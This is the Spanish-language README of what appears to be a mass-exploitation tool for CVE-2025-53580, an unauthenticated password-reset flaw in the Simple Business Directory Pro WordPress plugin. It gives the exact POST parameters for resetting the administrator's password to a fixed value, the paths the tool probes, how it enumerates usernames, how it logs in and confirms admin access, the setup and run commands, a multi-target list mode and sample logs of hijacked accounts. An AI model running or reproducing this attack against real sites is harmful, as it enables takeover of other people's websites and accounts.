
WordPress Simple Business Directory Pro Plugin < 15.6.9 es vulnerable a una escalada de privilegios de alta prioridad.
El plugin WordPress Simple Business Directory Pro < 15.6.9 es vulnerable a una Escalada de Privilegios de alta prioridad
___ _ ___ __ __ __ ____ ____ ___ ____ __ __
/ (_)(_| |_// (_) / )/ \/ )| | / \| / \ / \
| | | \__ /| | / |___ |___ __/|___ \__/| |
| | | / -----/ | |/ \----- \ \ \/ \| |
\___/ \_/ \___/ /___\__//___\___/ \___/\___/\___/\__/ \__/
Causa raíz:
El plugin expone un formulario frontend de restauración de contraseña (qcpd-restore-pwd) que acepta un qcpd-uid numérico (ID de usuario de WordPress) y un nuevo valor pass. No se exige autenticación, token, nonce ni verificación por correo electrónico antes de cambiar la contraseña. Cualquier atacante no autenticado puede restablecer la contraseña del ID de usuario 1 (típicamente el administrador del sitio) y de cualquier otro usuario enviando una única solicitud POST, luego autenticarse con la contraseña inyectada para obtener acceso completo de administrador.
┌─────────────────────────────────────────────────────────────────┐
│ 1. Discover SBD restore page │
│ Probe 24 candidate paths → match body containing "sbd" │
│ │
│ 2. Reset passwords by user ID │
│ POST <restore_url> │
│ qcpd-restore-pwd = restore │
│ qcpd-restore-pwd-type = user │
│ qcpd-uid = 1 (then 2, then 3) │
│ pass = NxploitedNX │
│ │
│ 3. Enumerate usernames │
│ /?author=1..9 → redirect / body parse │
│ /wp-json/wp/v2/users → slug / username fields │
│ hostname heuristic + "admin" fallback │
│ │
│ 4. Login with injected password │
│ POST /wp-login.php log=<user> pwd=NxploitedNX │
│ Check: wordpress_logged_in cookie present │
│ │
│ 5. Verify admin access (dual method) │
│ GET /wp-json/wp/v2/users/me → capabilities.manage_options│
│ GET /wp-admin/users.php → adminmenu / users table │
│ │
│ 6. Write confirmed hit → Nx_sbd_login_hits.txt │
└─────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-53580.git
cd CVE-2025-53580
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
python3 CVE-2025-53580.py
Archivo de lista de objetivos (un host/URL por línea) [list.txt]: list.txt
Hilos (sitios concurrentes) [3]: 5
Tiempo de espera HTTP (segundos) [10]: 10
Archivo de aciertos exitosos [Nx_sbd_login_hits.txt]: Nx_sbd_login_hits.txt
La contraseña inyectada para todos los intentos de restablecimiento está fijada internamente:
NxploitedNX
IDs de usuario atacados por sitio:
1,2,3(configurable medianteMAX_USER_ID)
list.txthttps://target1.com
target2.com
http://target3.com
La herramienta escanea 24 rutas por objetivo buscando una página cuyo cuerpo contenga sbd:
/login /log-in /signin /sign-in
/user-login /account/login /restore /password-reset
/reset-password /lost-password /lostpassword /user/restore
/my-account /members/login /member-login /customer-login
/wp-login.php /blog/login /auth/login /auth/restore
/sbd-login /sbd-restore /blog/log-in /account/log-in
Cada inicio de sesión exitoso se verifica mediante dos comprobaciones independientes antes de escribirse en el disco:
Método 1 — API REST:
GET /wp-json/wp/v2/users/me
→ capabilities.manage_options = true → ADMIN CONFIRMADO
Método 2 — Panel de control:
GET /wp-admin/users.php
→ adminmenu / marcadores de tabla de usuarios presentes → ADMIN CONFIRMADO
Nx_sbd_login_hits.txt
[2025-06-01 14:22:10] https://target.com - type=ADMIN - user=admin
- login=/wp-login.php user=admin pass=NxploitedNX
- detail=ADMIN_CONFIRMED_REST(manage_options)
[2025-06-01 14:23:05] https://target2.com - type=USER - user=editor
- login=/wp-login.php user=editor pass=NxploitedNX
- detail=not_admin(rest_no_manage_options, wpadmin_no_strong_markers)
[info] https://target.com :: starting
[ok] https://target.com :: found front-end sbd page at https://target.com/my-account
[info] https://target.com :: starting qcpd-uid=1..3 brute with pass=NxploitedNX
[info] https://target.com :: POST uid=1 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: POST uid=2 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: extracting usernames and trying login
[ok] https://target.com :: login OK for user='admin', checking admin...
[ok] https://target.com :: HIT for user='admin' → admin=True,
detail=ADMIN_CONFIRMED_REST(manage_options)
[warn] https://target2.com :: no sbd page found in candidate restore paths, skipping
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
SOLO PARA INVESTIGACIÓN DE SEGURIDAD AUTORIZADA Y EDUCACIÓN.
El autor no asume ninguna responsabilidad por el uso contra sistemas
que el operador no posee o para los cuales no tenga permiso explícito por escrito.
El uso no autorizado viola la CFAA, la CMA y leyes equivalentes en todo el mundo.
Solo tú eres responsable de tus acciones.
© 2025 Nxploited · Simple Business Directory Pro < 15.6.9 · Corregido en 15.6.9
| Campo | Detalle |
|---|
| CVE | CVE-2025-53580 |
| Plugin | quantumcloud Simple Business Directory Pro (simple-business-directory-pro) |
| Afectado | Todas las versiones < 15.6.9 |
| Autenticación | No requerida |
| Tipo | Asignación incorrecta de privilegios → Restablecimiento de contraseña no autenticado |
| CWE | CWE-266 · Asignación incorrecta de privilegios |
| Método | Endpoint |
|---|
| Redirección de autor | /?author=1 → /?author=9 |
| API REST | /wp-json/wp/v2/users → slug + username |
| Heurística del hostname | Primera etiqueta del dominio |
| Fallback hardcodeado | admin siempre incluido |